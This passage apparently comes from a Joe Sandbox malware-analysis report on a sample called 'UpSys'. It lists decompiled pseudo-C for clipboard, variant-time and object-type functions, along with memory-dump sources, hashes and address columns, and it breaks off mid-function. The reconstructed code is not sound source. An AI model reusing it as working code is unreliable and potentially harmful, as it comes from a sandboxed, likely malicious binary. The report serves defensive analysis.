                                                                                                                                                                                                        0x140028597
                                                                                                                                                                                                        0x14002859a
                                                                                                                                                                                                        0x14002859f
                                                                                                                                                                                                        0x1400285a2
                                                                                                                                                                                                        0x1400285a4
                                                                                                                                                                                                        0x1400285a9
                                                                                                                                                                                                        0x1400285ac
                                                                                                                                                                                                        0x1400285ae
                                                                                                                                                                                                        0x1400285b1
                                                                                                                                                                                                        0x1400285b3
                                                                                                                                                                                                        0x1400285ba
                                                                                                                                                                                                        0x1400285bc
                                                                                                                                                                                                        0x1400285bf
                                                                                                                                                                                                        0x1400285c1
                                                                                                                                                                                                        0x1400285c4
                                                                                                                                                                                                        0x1400285c6
                                                                                                                                                                                                        0x1400285cd
                                                                                                                                                                                                        0x1400285d2
                                                                                                                                                                                                        0x1400285d7
                                                                                                                                                                                                        0x1400285df
                                                                                                                                                                                                        0x1400285e4
                                                                                                                                                                                                        0x1400285e7
                                                                                                                                                                                                        0x1400285e7
                                                                                                                                                                                                        0x1400285ee
                                                                                                                                                                                                        0x1400285f3
                                                                                                                                                                                                        0x1400285f9
                                                                                                                                                                                                        0x140028603
                                                                                                                                                                                                        0x140028605
                                                                                                                                                                                                        0x140028608
                                                                                                                                                                                                        0x140028613
                                                                                                                                                                                                        0x140028615
                                                                                                                                                                                                        0x140028618
                                                                                                                                                                                                        0x14002861b
                                                                                                                                                                                                        0x140028622
                                                                                                                                                                                                        0x140028626
                                                                                                                                                                                                        0x140028630
                                                                                                                                                                                                        0x140028635
                                                                                                                                                                                                        0x14002863a
                                                                                                                                                                                                        0x14002863f
                                                                                                                                                                                                        0x140028645
                                                                                                                                                                                                        0x140028647
                                                                                                                                                                                                        0x140028647
                                                                                                                                                                                                        0x140028653
                                                                                                                                                                                                        0x140028659
                                                                                                                                                                                                        0x140028660
                                                                                                                                                                                                        0x14002868a

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FormatTime$__ascii_stricmpfreemalloc
                                                                                                                                                                                                        • String ID: a/p$am/pm
                                                                                                                                                                                                        • API String ID: 712559314-3206640213
                                                                                                                                                                                                        • Opcode ID: d38d1347c17f949c1b5341df9203be3b2a5a5aeee0bdc8ea4bd3ea193982265b
                                                                                                                                                                                                        • Instruction ID: 5610c3577f6fd39b895f83e4c1ccf4ffe58a4debeab01f9788835f2867515e0f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d38d1347c17f949c1b5341df9203be3b2a5a5aeee0bdc8ea4bd3ea193982265b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 16F1133A216AA0C6E7768F2694547ED67A1F70DBC4F48C10AFF8647BA9DB388D44C701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006A830 Relevance: 13.6, APIs: 9, Instructions: 83clipboardmemoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 48%
                                                                                                                                                                                                        			E0000000114006A830(void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, signed int* __r8, long long _a8, long long _a16, long long _a24) {
				long long _v16;
				long long _v24;
				long long _v32;
				char _v40;
				void* _t24;
				intOrPtr* _t54;
				long long _t55;
				intOrPtr _t56;
				signed int* _t59;
				long long _t63;
				intOrPtr* _t82;
				long long _t84;
				signed int* _t92;

				_t92 = __r8;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t54 =  *((intOrPtr*)(__rdx + 8));
				_t82 = __rcx;
				_t59 = __r8;
				E00000001140011960(_t24,  *_t54);
				_t63 =  *((intOrPtr*)(_t54 + 8));
				_t55 =  *((intOrPtr*)(_t54 + 0x18));
				_v40 =  *_t54;
				_v32 = _t63;
				 *_t55 =  *_t55 + 1;
				_v24 =  *((intOrPtr*)(_t54 + 0x10));
				_v16 = _t55;
				if (_t63 != 0) goto 0x4006a898;
				OpenClipboard(??);
				EmptyClipboard();
				goto 0x4006a95b;
				GlobalAlloc(??, ??);
				_t84 = _t55;
				if (_t55 != 0) goto 0x4006a8dc;
				E00000001140007A40(__r8, __r8, _t84);
				_t14 = _t84 + 3; // 0x3
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = 1;
				_t56 =  *__rcx;
				r8d = 0;
				E0000000114000FCA0(_t14, _t56, __r8,  *((intOrPtr*)(_t56 + 4)) + __rcx, _t84);
				goto 0x4006a961;
				GlobalLock(??);
				if (_t56 != 0) goto 0x4006a8f9;
				E00000001140007A40(__r8, __r8, _t84);
				goto 0x4006a8bb;
				E00000001140016E4C(_t56,  *_t54);
				GlobalUnlock(??);
				OpenClipboard(??);
				EmptyClipboard();
				SetClipboardData(??, ??);
				if (_t56 != 0) goto 0x4006a95b;
				E00000001140007A40(_t59, _t59, _t84);
				 *_t59 =  *_t59 & 0x00000000;
				_t59[2] = 1;
				r8d = 0;
				_t19 =  &(_t92[0]); // 0x1
				E0000000114000FCA0(_t19,  *_t82, _t59,  *((intOrPtr*)( *_t82 + 4)) + _t82, _t84);
				E00000001140002610(CloseClipboard(), _t59,  &_v40);
				return 0;
			}
















                                                                                                                                                                                                        0x14006a830
                                                                                                                                                                                                        0x14006a830
                                                                                                                                                                                                        0x14006a835
                                                                                                                                                                                                        0x14006a83a
                                                                                                                                                                                                        0x14006a844
                                                                                                                                                                                                        0x14006a848
                                                                                                                                                                                                        0x14006a84b
                                                                                                                                                                                                        0x14006a851
                                                                                                                                                                                                        0x14006a856
                                                                                                                                                                                                        0x14006a861
                                                                                                                                                                                                        0x14006a865
                                                                                                                                                                                                        0x14006a86a
                                                                                                                                                                                                        0x14006a86f
                                                                                                                                                                                                        0x14006a871
                                                                                                                                                                                                        0x14006a876
                                                                                                                                                                                                        0x14006a87e
                                                                                                                                                                                                        0x14006a887
                                                                                                                                                                                                        0x14006a88d
                                                                                                                                                                                                        0x14006a893
                                                                                                                                                                                                        0x14006a8a2
                                                                                                                                                                                                        0x14006a8a8
                                                                                                                                                                                                        0x14006a8ae
                                                                                                                                                                                                        0x14006a8b3
                                                                                                                                                                                                        0x14006a8b8
                                                                                                                                                                                                        0x14006a8bb
                                                                                                                                                                                                        0x14006a8be
                                                                                                                                                                                                        0x14006a8c5
                                                                                                                                                                                                        0x14006a8cc
                                                                                                                                                                                                        0x14006a8d2
                                                                                                                                                                                                        0x14006a8d7
                                                                                                                                                                                                        0x14006a8df
                                                                                                                                                                                                        0x14006a8e8
                                                                                                                                                                                                        0x14006a8ed
                                                                                                                                                                                                        0x14006a8f7
                                                                                                                                                                                                        0x14006a8ff
                                                                                                                                                                                                        0x14006a907
                                                                                                                                                                                                        0x14006a914
                                                                                                                                                                                                        0x14006a91a
                                                                                                                                                                                                        0x14006a928
                                                                                                                                                                                                        0x14006a931
                                                                                                                                                                                                        0x14006a936
                                                                                                                                                                                                        0x14006a93b
                                                                                                                                                                                                        0x14006a93e
                                                                                                                                                                                                        0x14006a948
                                                                                                                                                                                                        0x14006a94f
                                                                                                                                                                                                        0x14006a956
                                                                                                                                                                                                        0x14006a966
                                                                                                                                                                                                        0x14006a981

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1737998785-0
                                                                                                                                                                                                        • Opcode ID: fb59965100b84c897fdadcb0ee8ac4ea7f0f9272ac4d73753b0381f78429beca
                                                                                                                                                                                                        • Instruction ID: 05188ea5c2183b1c76ca0c4030cf0c77079506378cba694f3707b5f85812904a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fb59965100b84c897fdadcb0ee8ac4ea7f0f9272ac4d73753b0381f78429beca
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1E313472200A4086EB16EF22E8917AE73A1EB89FC5F548421EB4E07776DF7DC8558B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400703F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 272timeCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 15%
                                                                                                                                                                                                        			E000000011400703F0(void* __edx, long long __rbx, intOrPtr* __rcx, signed short* __rdx, long long __rsi, void* __r8, void* __r9, char _a16) {
				void* _v8;
				char _v56;
				char _v72;
				signed short _v76;
				signed short _v78;
				signed short _v80;
				signed int _v82;
				signed short _v86;
				signed short _v88;
				signed int _v96;
				signed int _v104;
				signed int _v112;
				signed int _v120;
				void* _t60;
				signed int _t100;
				signed int _t106;
				void* _t113;
				void* _t119;
				void* _t128;
				void* _t129;
				void* _t130;
				void* _t135;
				intOrPtr _t140;
				void* _t143;
				void* _t151;
				long long _t157;
				intOrPtr _t159;
				intOrPtr* _t167;
				char* _t170;
				long long _t171;
				intOrPtr _t173;
				intOrPtr _t174;
				char* _t199;
				char* _t200;
				intOrPtr _t201;
				void* _t202;
				intOrPtr* _t203;
				signed short* _t206;
				long long _t208;

				_t212 = __r9;
				_t211 = __r8;
				_t171 = __rbx;
				_t157 = _t208;
				 *((long long*)(_t157 + 8)) = __rbx;
				 *((long long*)(_t157 + 0x18)) = __rsi;
				_t203 = __rcx;
				_t100 =  *__rdx & 0x0000ffff;
				asm("movaps [eax-0x18], xmm6");
				_t206 = __rdx;
				_t128 = _t100 - 0x4002;
				if (_t128 > 0) goto 0x4007067e;
				if (_t128 == 0) goto 0x40070667;
				_t129 = _t100 - 0xb;
				if (_t129 > 0) goto 0x400705d2;
				if (_t129 == 0) goto 0x400705bc;
				_t130 = _t100 - 5;
				if (_t130 > 0) goto 0x400704a7;
				if (_t130 == 0) goto 0x400704a0;
				if (_t100 < 0) goto 0x400707a7;
				if (_t100 - 1 <= 0) goto 0x4007048c;
				if (_t100 == 2) goto 0x40070483;
				if (_t100 == 3) goto 0x4007047b;
				_t135 = _t100 - 4;
				if (_t135 != 0) goto 0x400707a7;
				asm("movd xmm6, dword [edx+0x8]");
				asm("cvtps2pd xmm6, xmm6");
				E00000001140007A40(__rbx, __rcx, __rdx, _t202);
				 *((intOrPtr*)(__rcx + 8)) = 3;
				asm("movsd [edi], xmm6");
				goto 0x400707fd;
				goto 0x400707ec;
				goto 0x400707ec;
				_t178 = __rcx;
				E00000001140012D80(__edx, _t157, _t171, __rcx, 0x4009b6c0, __rdx, __r8);
				goto 0x400707fd;
				asm("movsd xmm6, [edx+0x8]");
				goto 0x40070463;
				if (_t135 == 0) goto 0x400705a5;
				if (_t135 == 0) goto 0x40070548;
				if (_t135 == 0) goto 0x40070510;
				if (_t100 - 4 != 1) goto 0x400707a7;
				 *((intOrPtr*)(_t203 + 8)) = 8;
				_t60 = E00000001140016ED8(_t157, _t178);
				 *_t203 = _t157;
				__imp__#8();
				__imp__#10();
				if (_t60 >= 0) goto 0x400707fd;
				__imp__#9();
				0x40016a60();
				goto 0x40070619;
				if ( *((intOrPtr*)(_t206 + 8)) == _t171) goto 0x400707fd;
				E00000001140016ED8(_t157,  *_t203);
				if (_t157 == _t171) goto 0x40070538;
				E00000001140001D30(_t157, _t171, _t157,  *((intOrPtr*)(_t206 + 8)));
				 *((long long*)(_t203 + 0x10)) = _t157;
				 *((intOrPtr*)(_t203 + 8)) = 4;
				goto 0x400707fd;
				asm("movsd xmm0, [esi+0x8]");
				__imp__#185();
				_t106 = _v80 & 0x0000ffff;
				r11d = _v76 & 0x0000ffff;
				r9d = _v86 & 0x0000ffff;
				r8d = _v88 & 0x0000ffff;
				_v96 = r11d;
				_v104 = _v78 & 0x0000ffff;
				_v112 = _t106;
				_v120 = _v82 & 0x0000ffff;
				E000000011400178DC(_t157,  &_v56, L"%4d%02d%02d%02d%02d%02d", _t211, __r9);
				_t199 =  &_v56;
				goto 0x40070493;
				asm("pxor xmm6, xmm6");
				asm("repne dec eax");
				asm("divsd xmm6, [0x33759]");
				goto 0x40070463;
				_t140 =  *((intOrPtr*)(_t199 + 8));
				E000000011400126B0(_v82 & 0xff00 | _t140 != 0x00000000, _t203);
				goto 0x400707fd;
				if (_t140 == 0) goto 0x400704c7;
				if (_t140 == 0) goto 0x4007063c;
				if (_t140 == 0) goto 0x40070633;
				if (_t140 == 0) goto 0x4007062a;
				if (_t140 == 0) goto 0x40070621;
				if (_t140 == 0) goto 0x4007047b;
				_t113 = _t106 - 6;
				if (_t140 == 0) goto 0x40070606;
				if (_t113 != 1) goto 0x400707a7;
				_t173 =  *((intOrPtr*)(_t199 + 8));
				E00000001140007A40(_t173, _t203, _t206);
				 *((intOrPtr*)(_t203 + 8)) = 2;
				 *_t203 = _t173;
				goto 0x400707fd;
				goto 0x400707ec;
				goto 0x400707ec;
				goto 0x400707ec;
				asm("movdqu xmm0, [edx]");
				_t200 =  &_a16;
				asm("movdqu [esp+0x50], xmm0");
				__imp__#220();
				asm("movsd xmm6, [esp+0xa8]");
				goto 0x40070463;
				if ( *((intOrPtr*)(_t200 + 8)) == _t173) goto 0x400707fd;
				goto 0x400707ec;
				_t143 = _t113 - 0x400c;
				if (_t143 > 0) goto 0x40070786;
				if (_t143 == 0) goto 0x4007076d;
				if (_t143 == 0) goto 0x4007075a;
				if (_t143 == 0) goto 0x40070742;
				if (_t143 == 0) goto 0x4007072a;
				if (_t143 == 0) goto 0x40070510;
				if (_t143 == 0) goto 0x400706d9;
				if (_t113 - 0x3ffd != 2) goto 0x400707a7;
				_t159 =  *((intOrPtr*)(_t200 + 8));
				if (_t159 == _t173) goto 0x400707fd;
				goto 0x400705c2;
				if ( *((intOrPtr*)(_t200 + 8)) == _t173) goto 0x400707fd;
				_t38 = _t173 + 0x18; // 0x18
				_t119 = _t38;
				 *((intOrPtr*)(_t203 + 8)) = 8;
				E00000001140016ED8(_t159,  &_v72);
				 *_t203 = _t159;
				__imp__#8();
				_t40 = _t173 + 9; // 0x9
				 *((short*)( *_t203)) = _t40;
				 *((long long*)( *_t203 + 8)) =  *((intOrPtr*)( *((intOrPtr*)(_t206 + 8))));
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t203 + 8)))) + 8))();
				goto 0x400707fd;
				if ( *((intOrPtr*)(_t200 + 8)) == _t173) goto 0x400707fd;
				asm("movsd xmm6, [eax]");
				goto 0x40070463;
				if ( *((intOrPtr*)(_t200 + 8)) == _t173) goto 0x400707fd;
				asm("movd xmm6, dword [eax]");
				goto 0x40070460;
				if ( *((intOrPtr*)(_t200 + 8)) == _t173) goto 0x400707fd;
				goto 0x400707ec;
				_t201 =  *((intOrPtr*)(_t200 + 8));
				_t151 = _t201 - _t173;
				if (_t151 == 0) goto 0x400707fd;
				E0000000114007A020(_t119, _v82 & 0xff00 | _t140 != 0x00000000,  *((intOrPtr*)(_t200 + 8)), _t173, _t203, _t201, _t206, _t211, _t212);
				goto 0x400707fd;
				if (_t151 == 0) goto 0x400707de;
				if (_t151 == 0) goto 0x400707ce;
				if (_t151 == 0) goto 0x400707be;
				if (_t151 == 0) goto 0x4007075a;
				if (_t151 == 0) goto 0x400707ab;
				if (_t119 - 0x400c == 1) goto 0x400707ab;
				goto 0x400707ff;
				_t167 =  *((intOrPtr*)(_t201 + 8));
				if (_t167 == _t173) goto 0x400707fd;
				_t174 =  *_t167;
				goto 0x4007060a;
				if ( *((intOrPtr*)(_t201 + 8)) == _t174) goto 0x400707fd;
				goto 0x400707ec;
				if ( *((intOrPtr*)(_t201 + 8)) == _t174) goto 0x400707fd;
				goto 0x400707ec;
				_t170 =  *((intOrPtr*)(_t201 + 8));
				if (_t170 == _t174) goto 0x400707fd;
				E00000001140007A40(_t174, _t203, _t206);
				 *((intOrPtr*)(_t203 + 8)) = 1;
				 *_t203 =  *_t170;
				asm("inc ecx");
				return 1;
			}










































                                                                                                                                                                                                        0x1400703f0
                                                                                                                                                                                                        0x1400703f0
                                                                                                                                                                                                        0x1400703f0
                                                                                                                                                                                                        0x1400703f0
                                                                                                                                                                                                        0x1400703f3
                                                                                                                                                                                                        0x1400703f7
                                                                                                                                                                                                        0x140070403
                                                                                                                                                                                                        0x140070406
                                                                                                                                                                                                        0x140070409
                                                                                                                                                                                                        0x140070412
                                                                                                                                                                                                        0x140070415
                                                                                                                                                                                                        0x140070417
                                                                                                                                                                                                        0x14007041d
                                                                                                                                                                                                        0x140070423
                                                                                                                                                                                                        0x140070426
                                                                                                                                                                                                        0x14007042c
                                                                                                                                                                                                        0x140070432
                                                                                                                                                                                                        0x140070435
                                                                                                                                                                                                        0x140070437
                                                                                                                                                                                                        0x14007043d
                                                                                                                                                                                                        0x140070446
                                                                                                                                                                                                        0x14007044b
                                                                                                                                                                                                        0x140070450
                                                                                                                                                                                                        0x140070452
                                                                                                                                                                                                        0x140070455
                                                                                                                                                                                                        0x14007045b
                                                                                                                                                                                                        0x140070460
                                                                                                                                                                                                        0x140070466
                                                                                                                                                                                                        0x14007046b
                                                                                                                                                                                                        0x140070472
                                                                                                                                                                                                        0x140070476
                                                                                                                                                                                                        0x14007047e
                                                                                                                                                                                                        0x140070487
                                                                                                                                                                                                        0x140070493
                                                                                                                                                                                                        0x140070496
                                                                                                                                                                                                        0x14007049b
                                                                                                                                                                                                        0x1400704a0
                                                                                                                                                                                                        0x1400704a5
                                                                                                                                                                                                        0x1400704aa
                                                                                                                                                                                                        0x1400704b3
                                                                                                                                                                                                        0x1400704bc
                                                                                                                                                                                                        0x1400704c1
                                                                                                                                                                                                        0x1400704cc
                                                                                                                                                                                                        0x1400704d3
                                                                                                                                                                                                        0x1400704db
                                                                                                                                                                                                        0x1400704de
                                                                                                                                                                                                        0x1400704ea
                                                                                                                                                                                                        0x1400704f4
                                                                                                                                                                                                        0x1400704fd
                                                                                                                                                                                                        0x140070506
                                                                                                                                                                                                        0x14007050b
                                                                                                                                                                                                        0x140070516
                                                                                                                                                                                                        0x14007051f
                                                                                                                                                                                                        0x140070527
                                                                                                                                                                                                        0x140070530
                                                                                                                                                                                                        0x140070538
                                                                                                                                                                                                        0x14007053c
                                                                                                                                                                                                        0x140070543
                                                                                                                                                                                                        0x140070548
                                                                                                                                                                                                        0x140070552
                                                                                                                                                                                                        0x140070558
                                                                                                                                                                                                        0x140070562
                                                                                                                                                                                                        0x14007056d
                                                                                                                                                                                                        0x140070573
                                                                                                                                                                                                        0x140070579
                                                                                                                                                                                                        0x14007057e
                                                                                                                                                                                                        0x140070582
                                                                                                                                                                                                        0x140070586
                                                                                                                                                                                                        0x140070596
                                                                                                                                                                                                        0x14007059b
                                                                                                                                                                                                        0x1400705a0
                                                                                                                                                                                                        0x1400705a5
                                                                                                                                                                                                        0x1400705a9
                                                                                                                                                                                                        0x1400705af
                                                                                                                                                                                                        0x1400705b7
                                                                                                                                                                                                        0x1400705be
                                                                                                                                                                                                        0x1400705c8
                                                                                                                                                                                                        0x1400705cd
                                                                                                                                                                                                        0x1400705d5
                                                                                                                                                                                                        0x1400705de
                                                                                                                                                                                                        0x1400705e3
                                                                                                                                                                                                        0x1400705e8
                                                                                                                                                                                                        0x1400705ed
                                                                                                                                                                                                        0x1400705f2
                                                                                                                                                                                                        0x1400705f8
                                                                                                                                                                                                        0x1400705fb
                                                                                                                                                                                                        0x140070600
                                                                                                                                                                                                        0x140070606
                                                                                                                                                                                                        0x14007060d
                                                                                                                                                                                                        0x140070612
                                                                                                                                                                                                        0x140070619
                                                                                                                                                                                                        0x14007061c
                                                                                                                                                                                                        0x140070625
                                                                                                                                                                                                        0x14007062e
                                                                                                                                                                                                        0x140070637
                                                                                                                                                                                                        0x14007063c
                                                                                                                                                                                                        0x140070645
                                                                                                                                                                                                        0x14007064d
                                                                                                                                                                                                        0x140070653
                                                                                                                                                                                                        0x140070659
                                                                                                                                                                                                        0x140070662
                                                                                                                                                                                                        0x140070670
                                                                                                                                                                                                        0x140070679
                                                                                                                                                                                                        0x140070683
                                                                                                                                                                                                        0x140070685
                                                                                                                                                                                                        0x14007068b
                                                                                                                                                                                                        0x140070697
                                                                                                                                                                                                        0x1400706a0
                                                                                                                                                                                                        0x1400706a9
                                                                                                                                                                                                        0x1400706ae
                                                                                                                                                                                                        0x1400706b7
                                                                                                                                                                                                        0x1400706bc
                                                                                                                                                                                                        0x1400706c2
                                                                                                                                                                                                        0x1400706cb
                                                                                                                                                                                                        0x1400706d4
                                                                                                                                                                                                        0x1400706df
                                                                                                                                                                                                        0x1400706e5
                                                                                                                                                                                                        0x1400706e5
                                                                                                                                                                                                        0x1400706e8
                                                                                                                                                                                                        0x1400706ef
                                                                                                                                                                                                        0x1400706f7
                                                                                                                                                                                                        0x1400706fa
                                                                                                                                                                                                        0x140070703
                                                                                                                                                                                                        0x140070706
                                                                                                                                                                                                        0x140070714
                                                                                                                                                                                                        0x140070722
                                                                                                                                                                                                        0x140070725
                                                                                                                                                                                                        0x140070733
                                                                                                                                                                                                        0x140070739
                                                                                                                                                                                                        0x14007073d
                                                                                                                                                                                                        0x14007074b
                                                                                                                                                                                                        0x140070751
                                                                                                                                                                                                        0x140070755
                                                                                                                                                                                                        0x140070763
                                                                                                                                                                                                        0x14007076b
                                                                                                                                                                                                        0x14007076d
                                                                                                                                                                                                        0x140070773
                                                                                                                                                                                                        0x140070776
                                                                                                                                                                                                        0x14007077f
                                                                                                                                                                                                        0x140070784
                                                                                                                                                                                                        0x14007078c
                                                                                                                                                                                                        0x140070791
                                                                                                                                                                                                        0x140070796
                                                                                                                                                                                                        0x14007079b
                                                                                                                                                                                                        0x1400707a0
                                                                                                                                                                                                        0x1400707a5
                                                                                                                                                                                                        0x1400707a9
                                                                                                                                                                                                        0x1400707ab
                                                                                                                                                                                                        0x1400707b4
                                                                                                                                                                                                        0x1400707b6
                                                                                                                                                                                                        0x1400707b9
                                                                                                                                                                                                        0x1400707c7
                                                                                                                                                                                                        0x1400707cc
                                                                                                                                                                                                        0x1400707d7
                                                                                                                                                                                                        0x1400707dc
                                                                                                                                                                                                        0x1400707de
                                                                                                                                                                                                        0x1400707e7
                                                                                                                                                                                                        0x1400707ef
                                                                                                                                                                                                        0x1400707f4
                                                                                                                                                                                                        0x1400707fb
                                                                                                                                                                                                        0x14007080f
                                                                                                                                                                                                        0x140070818

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Variant$Time$ClearCopyInitSystem_errnomalloc
                                                                                                                                                                                                        • String ID: %4d%02d%02d%02d%02d%02d
                                                                                                                                                                                                        • API String ID: 3599330277-1568723262
                                                                                                                                                                                                        • Opcode ID: 8cffcad4332ca7bef17d55f873dfed7d0532a0a838f63a86bdda2959ae59c2f4
                                                                                                                                                                                                        • Instruction ID: cc0ae186dd556785733bd93abced282b1ab8eb986d553418f549aeff16f5fe54
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8cffcad4332ca7bef17d55f873dfed7d0532a0a838f63a86bdda2959ae59c2f4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0EC18476608680C5E66A9FABC1A43BD63A0F74DBC0F148715F74A076B1CB7DE8A1CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008E760 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 263COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 46%
                                                                                                                                                                                                        			E0000000114008E760(intOrPtr __ebx, void* __ecx, signed int __edx, long long __rbx, void* __rcx, void* __rdx, void* __r8, void* __r9, signed int __r10, void* __r11) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t106;
				void* _t114;
				void* _t116;
				void* _t117;
				intOrPtr _t122;
				void* _t123;
				void* _t158;
				void* _t172;
				long long _t173;
				intOrPtr _t174;
				short* _t175;
				intOrPtr _t185;
				long long _t195;
				short* _t232;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t244;
				long long _t248;
				short* _t249;
				void* _t251;
				void* _t252;
				void* _t265;
				void* _t267;
				intOrPtr* _t268;
				void* _t270;
				void* _t273;
				short* _t274;
				void* _t275;
				void* _t277;
				void* _t278;

				_t265 = __r11;
				_t123 = __ecx;
				_t122 = __ebx;
				_t172 = _t251;
				 *((long long*)(_t172 + 8)) = __rbx;
				 *((short*)(_t172 + 0x10)) = __edx;
				_t252 = _t251 - 0xe0;
				_t278 = __r8;
				_t195 =  *((intOrPtr*)( *((intOrPtr*)(_t252 + 0x148)) + 0x10));
				r14d = __edx & 0x0000ffff;
				_t238 = __rcx;
				 *((long long*)(_t252 + 0x68)) = _t248;
				 *((long long*)(_t252 + 0x70)) = _t248;
				 *((intOrPtr*)(_t252 + 0x78)) = 0;
				 *((intOrPtr*)(_t252 + 0x7c)) = 0;
				 *((intOrPtr*)(_t252 + 0x64)) = 0xfffffffd;
				 *((intOrPtr*)(_t172 + 0x20)) = 0;
				r13d = 0;
				 *((intOrPtr*)(_t252 + 0x50)) = 0;
				 *((long long*)(_t252 + 0x58)) = _t248;
				if (__r9 == _t248) goto 0x4008eb55;
				if (__r8 == _t248) goto 0x4008eb55;
				_t245 =  *((intOrPtr*)(_t252 + 0x140));
				if ( *((intOrPtr*)(_t252 + 0x140)) == _t248) goto 0x4008eb55;
				if (E0000000114003F520(__r9) != bpl) goto 0x4008e800;
				goto 0x4008eb61;
				_t173 = L"Not an Object type";
				_t268 =  *((intOrPtr*)(_t173 + 8));
				if (_t268 != _t248) goto 0x4008e819;
